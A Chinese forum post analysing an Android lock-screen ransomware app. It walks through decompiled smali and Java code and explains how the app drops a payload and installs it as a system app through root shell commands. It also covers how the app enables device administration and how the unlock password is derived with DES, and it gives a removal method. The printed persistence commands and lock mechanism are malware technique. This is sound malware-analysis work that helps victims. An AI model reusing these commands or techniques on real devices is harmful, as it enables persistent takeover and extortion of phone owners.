好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 90hacker 于 2016-5-12 09:58 编辑
http://www.52pojie.cn/thread-428680-1-1.html
今天 早上看到的、然后就想研究一下、
先讲一下、对于没有安卓开发的我、但是我是做java的做web ,Android的代码我也能看一点点懂、
然后就开始怎么破解源码找资料、慢慢的 改之理APK 什么的工具、就下载下来研究、发现不是直接的java代码、smali的代码、又开始 CSDN 找smali的语法、又开始学习、
代码分析就这样开始了、这里说明一下 我虽然不做Android 但是对Android 懂一点点 还是有的、比如 什么 Activity 什么service 、什么注册监听器 服务 等等 还是懂一点点的、
这样应该就是 入口点了、(这里说明一下,如果我哪里说错了,请别骂我、你直接来打我)
这里smali的代码 我就不贴上来了,就把分析出来的 java 贴出来了、这里有人问:APK改之理不是有java代码的吗、这里只是想自己分析smali代码(改之理好像没有java代码打开java源码是不能点的)
c.smali代码
[Java] 纯文本查看 复制代码 public class c exentd Activity{
private Button a;
private Button b;
private Button c;
private EditText c;
private a del; //a这个类是删除文件或者文件夹操作的类
String file;
String path;
public c(){
del = new a();
path = g();
StringBuffer sb = new StringBuffer();
sb.append(path);
string v4 = "/zibao.l"
sb.append(v4);
file = sb.toString();
}
private void d(String p0){
//这里就不很仔细的分析了
//大概就是把 const-string v8, "ijm-x86.so" 通过操作流写入到 上面file的路径上吧
}
//获取sdk路径
public final string g(){
//根据上面的 path = g(); 然后后又拼接:可以得出这里是获取程序的路径
//getExternalStorageDirectory()
//getAbsolutePath()
//大家可以百度一下 这些函数差不多就能猜出这个方法 放回的数据是什么了
}
protected void onCreate(Bundle bundle){
//setContentView();
//findViewById()
//.....等等等一堆初始 控件 设置按钮事件
//new-instance v5, Ljava/lang/StringBuffer; 从这里开始分析
StringBuffer sb = new StringBuffer();
sb.append(path);
String v6 = "/zibao.l";
sb.append(v6);
d(sb.toString());//调用d(); 函数
}
//销毁的时候执行
protected void onDestroy(){
a->deleteFile(path);//删除文件
super.onDestroy(this);
}
//按钮事件
class ButtonClickListener(){
//这里一开始分析有点迷
//因为我不知道 有哪些按钮,也不可能每一个按钮的事件都去分析他,
//我分析代码有一个习惯就盲扫 主要看哪些代码呢,在这里我是根据我的思路来的,可能有些人不这样做的、我只做分享哦,再说这是菜鸟级别的分析。。
void onClick(){
//invoke-direct {v5}, Lcom/qqmagic/b;-><init>()V 类型这种代码、调用了自己定义的对象或函数
//invoke-virtual {v4}, Lcom/qqmagic/b;->rootShell()V 上面定义b,这里调用了b.rootShell 函数
//invoke-static {v4}, Lcom/qqmagic/a;->deleteFile(Ljava/lang/String;)Z
//关键就在rootShell(); 这里做了手脚。跟进 b->rootShell();
}
}
}
这些吧 a这个类也贴出来给大家看看 、这个类主要是删除文件或文件夹的 所有没什么好分析的、
a.smali代码
[Java] 纯文本查看 复制代码 public class a{
public static boolean delete(String s){
File file = new File(s);
if(file.exists()){
return;
}
if(file.isFile()){
deleteFile(s);
}
v3 = v0;
}
public static boolean deleteDirectory(String path){
}
public static boolean deleteFile(String path){
}
}
由于时间问题我分析这个b类的时候就分析核心的地方、不每个方法都分析。b.smali代码
[Java] 纯文本查看 复制代码
# virtual methods
.method rootShell()V
.locals 9
.annotation system Ldalvik/annotation/Signature;
value = {
"()V"
}
.end annotation
.prologue
.line 203
move-object v0, p0
const/4 v4, 0x7
new-array v4, v4, [Ljava/lang/String;
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x0
const-string v7, "mount -o rw,remount /system"
aput-object v7, v5, v6
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x1
const-string v7, "mount -o rw,remount /system/app"
aput-object v7, v5, v6
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x2
const-string v7, "cp /sdcard/zihao.l /system/app/"
aput-object v7, v5, v6
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x3
const-string v7, "chmod 777 /system/app/zihao.l"
aput-object v7, v5, v6
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x4
const-string v7, "mv /system/app/zihao.l /system/app/zihao.apk"
aput-object v7, v5, v6
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x5
const-string v7, "chmod 644 /system/app/zihao.apk"
aput-object v7, v5, v6
move-object v8, v4
move-object v4, v8
move-object v5, v8
const/4 v6, 0x6
const-string v7, "reboot"
aput-object v7, v5, v6
move-object v1, v4
.line 212
move-object v4, v1
const/4 v5, 0x1
invoke-static {v4, v5}, Lcom/qqmagic/b;->execCommand([Ljava/lang/String;Z)Lcom/qqmagic/b$CommandResult;
move-result-object v4
move-object v2, v4
return-void
.end method
const-string v7, "mount -o rw,remount /system"
const-string v7, "mount -o rw,remount /system/app"
const-string v7, "cp /sdcard/zihao.l /system/app/" //cp 命令是 复制 将/sdcard/zihao.l(这个是前面我们分析到的那个ijm-x86.os文件) 复制到/system/app/目录下
const-string v7, "chmod 777 /system/app/zihao.l"
const-string v7, "mv /system/app/zihao.l /system/app/zihao.apk" //将zihao.l 改成zihao.apk
const-string v7, "chmod 644 /system/app/zihao.apk"
invoke-static {v4, v5}, Lcom/qqmagic/b;->execCommand([Ljava/lang/String;Z)Lcom/qqmagic/b$CommandResult;
这里很清楚的 把我们上个刚刚写入到 “//大概就是把 const-string v8, "ijm-x86.so" 通过操作流写入到 上面file的路径上吧” 安装到/system/app/zihao.apk" 、没错就是酱紫的(菜鸟版分析代码,勿喷)。
好了、接下来 我们直接把 ijm-x86.so 改成 ijm-x86.apk 然后继续分析。。
--------------------------分割线----------------------------------------------
时间:20.15 以前我都是20点出去跑步的、但是今天迟了15 所有我准备先分析到这里、然后发布出去 等晚上回来继续编辑然后继续分析。
开始分析:zihao.apk
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
</intent-filter>
</receiver>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>这个好像是手机开机接收的 服务
我是比较喜欢先分析activity 所有我们先看一下.M这个类
M.smali
[Java] 纯文本查看 复制代码 public class M extends Activity{
private void activiteDevice(){
String v7 = "android.app.action.ADD_DEVICE_ADMIN";
Intent intent = new Intent(v7);
ComponentName v5 = new ComponentName();
String v8="com.h.MyAdmin";
//这里我看到了v8="com.h.MyAdmin"; 这个在配置文件里面我们就看到了是一个receiver
string v6, "android.app.extra.DEVICE_ADMIN"
intent.putExtra(v6);
startActivityForResult(intent);
//这个函数应该是启动 MyAdmin 用的
//我们来看一下MyAdmin 到底是什么。。
}
}
MyAdmin.smali
[Java] 纯文本查看 复制代码 public class MyAdmin extends DeviceAdminReceiver{
//就分析一个核心的代码
public void onEnabled(Context intent){
int v8 = 0x3f0;
v4 = v8.toString();
v8 = new Intent();
string v11= "com.h.s"//这些又看见一个类了
//下面的代码是启动这个com.h.s这个类
forName(v11); //加载类
//invoke-virtual {v8, v9}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
//继续分析s.smali
}
}
继续分析s.smali
打开s.smali发现代码有900多行,先随便看一下 固定的字符串先
发现:
const-string v5, "\u8f93\u5165\u5bc6\u7801\uff01"
const-string v5, "\u60a8\u7684\u89e3\u9501\u7801\uff0c\u5feb\u8dea\u4e0b\u5c31\u53ef\u4ee5\u89e3\u9501\uff0c\u7136\u540e\u518d\u4eb2\u4e00\u4e0b\u5c4f\u5e55\uff1a"
const-string v8, "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"
const-string v6, "connectivity"
const-string v7, "c29fe56fa59ab0db"
const-string v5, "Flowers"
const-string v6, "5a15e58cc8db8d1c700ecb6bb7b627a9"
const-string v5, "df96a4f9d3d72ed8"
看到这么多的代码 还有加密的 什么MD5 简直无从下手啊、先去解一下 上面那些Unicode编码转换一下看看
这个应该就是被害楼主的那个启动界面了吧、、
-------------------又开始分割线了------------------------------------
看了一下电脑的电快没了、、
所有今天就分析到这里。
然后来个总结,总结什么呢。
1.第一个APP运行的时候、把ijm-x86.OS 写到手机卡的/sdcard/zihao.l 上 这个时候 ijm-x86.OS 就变成了一个 zihao.l程序,然后代码里通过 手机命令
(刚刚不知道手机命令是什么然后去百度了一下:android ADB 叫这个 哈哈。。让我装B 叫 “android ADB” OK)
2.然后执行一堆命令 具体的命令就是把zihao.l 复制到 /system/app/zihao.apk 这样一个 SO文件变成zihao.l 在变成一个APK 就这样 留在手机里面的后门。
闲话 /system/app/ 这个目录手机好像要root 才能复制进去应该 所有大家root手机不能随便允许别的APP执行一些操作、这样很危险的、你的支付宝 等等一堆 差不多就是等于给别人了、要是在叼一点的木马拦截短信 发送短信 等等一堆。完蛋。。闲话不多说。。今天就到这里 明天继续。
今天继续分析一下 加密的算法、先上一段 java代码
这段代码 我没有完全的看等执行的流程、不是代码看不懂、是执行的流程、在下面
label291: Thread local100000000 = new Thread()
......
break label291;
这个位置开始 这个可能是编译的问题、
[Java] 纯文本查看 复制代码 @Override
public void onCreate()
{
super.onCreate();
this.pass = (()(Math.random() * 100000000));
long l = this.pass + 1;
Long localLong = new Long(l);
this.passw = localLong;
DU localDU1 = new DU("flower");
this.des = localDU1;
try
{
DU localDU2 = new DU(this.des.decrypt("c29fe56fa59ab0db"));
this.des = localDU2;
this.share = getSharedPreferences("Flowers", 0);
this.editor = this.share.edit();
if (this.share.getLong("m", 0) == 0)
{
this.editor.putLong("m", this.pass);
this.editor.commit();
}
}
catch (Exception localException2)
{
try
{
SharedPreferences.Editor localEditor = this.editor;
DU localDU3 = this.des;
StringBuffer localStringBuffer2 = new StringBuffer();
localEditor.putString("passw", localDU3.encrypt("" + this.passw));
this.editor.commit();
if (is(getApplicationContext()))
{
StringBuffer localStringBuffer1 = new StringBuffer();
this.ppss = (this.share.getLong("m", 8) + "");
}
}
catch (Exception localException2)
{
try
{
while (true)
{
this.password = this.des.decrypt(this.share.getString("passw", ""));
label291: Thread local100000000 = new Thread() //大概就是这个地方
{
public void run()
{
}
};
local100000000.start();
return;
localException1 = localException1;
}
localException2 = localException2;
}
catch (Exception localException3)
{
break label291;
}
try
{
//还有这里不知道会不会执行到、然后在这个地方要是执行到代码、那么也就是说 上面做了一堆没用的操作
//因为这里又从新给 xml里面的 m 和passw进行赋值了
//所有这个地方有点纠结。
this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
this.editor.commit();
this.editor.putString("passw", "df96a4f9d3d72ed8");
this.editor.commit();
return;
}
catch (Exception localException4)
{
}
}
}
}
首先这段代码编译出来有点乱 然后我重新整理了一下 变成
————下面这种——————
[Java] 纯文本查看 复制代码 public class Test {
private Long pass;
private Long passw;
private DU des;
private Long ppss;
private String password;
public void oncreate(){
this.pass = (long) (Math.random() * 100000000); //这个是随机生成的一个8位的数
System.out.println(pass);
long l = this.pass + 1; //然后在+1 比如(12345678+1)
System.out.println(l);
Long localLong = new Long(l);
this.passw = localLong; //把变量赋值给 passw
DU localDU1 = new DU("flower"); //这个DU类就是 加密一个类 采用的是 DES 加密
this.des = localDU1;
try
{
DU localDU2 = new DU(this.des.decrypt("c29fe56fa59ab0db")); //把c29fe56fa59ab0db 当做一个Key
//这里DES 加密的原理 我就不说了 大家百度一下就OK了 差不多就是 (Key+一个码)=加密数据
//解密的话 你必须得知道 这个Key 解密(key+加密数据)=解密数据
//类似这样 但是不是真正的相加就可以了 我这里只是几个例子
this.des = localDU2;
//this.share = getSharedPreferences("Flowers", 0);
//this.editor = this.share.edit();
// if (this.share.getLong("m", 0) == 0)
//{
// this.editor.putLong("m", this.pass); //这个把 上面生成的8位数+1 保存到一个XML里 名字叫Flowers.xml 好像在手机apk目录里面一个叫data/...的目录
System.out.println("m->"+this.pass);
// this.editor.commit();
//}
//SharedPreferences.Editor localEditor = this.editor;
DU localDU3 = this.des;
StringBuffer localStringBuffer2 = new StringBuffer();
String passw =localDU3.encrypt("" + this.passw);
System.out.println("passw:"+passw);
//this.editor.commit();
//if (is(getApplicationContext()))
//{
StringBuffer localStringBuffer1 = new StringBuffer();
this.ppss =pass;
//}
this.password = this.des.decrypt(passw.toString());
System.out.println("password:"+password);
//this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
//this.editor.commit();
//this.editor.putString("passw", "df96a4f9d3d72ed8");
//this.editor.commit();
System.out.println("m:"+des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9"));
System.out.println("passw:df96a4f9d3d72ed8");
System.out.println("----------------------------------------");
String p = des.decrypt("df96a4f9d3d72ed8");
System.out.println("password:"+p);
System.out.println("Pin:");
System.out.println(des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"));
}catch (Exception localException2)
{
}
}
public static void main(String[] args) {
Test t = new Test();
t.oncreate();
}
执行的结果是:
m->63961332 屏幕显示的8位数
passw:a8f122c917e24314700ecb6bb7b627a9
password:63961333 这个就是密码
//如果我说了上面那个代码重新赋值了
this.editor.putLong("m", Long.parseLong(this.des.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9"))); //xml的m重新赋值
this.editor.commit();
this.editor.putString("passw", "df96a4f9d3d72ed8"); //xml的passw重新赋值
this.editor.commit();
m:00000000
passw:df96a4f9d3d72ed8
----------------------------------------
password:zixi 那么 密码就是 zixi
这里手上也没有安卓手机做测试、都是看着代码 分析的、都没有执行过app 长什么样子的 也没见过、
这里说一下 还有一种解锁的方法、就是手机进入 rc模式 /system/app/zihao.apk 删掉这个目录里面的 zihao.apk 然后重新开机就OK了
|
免费评分
-
查看全部评分
|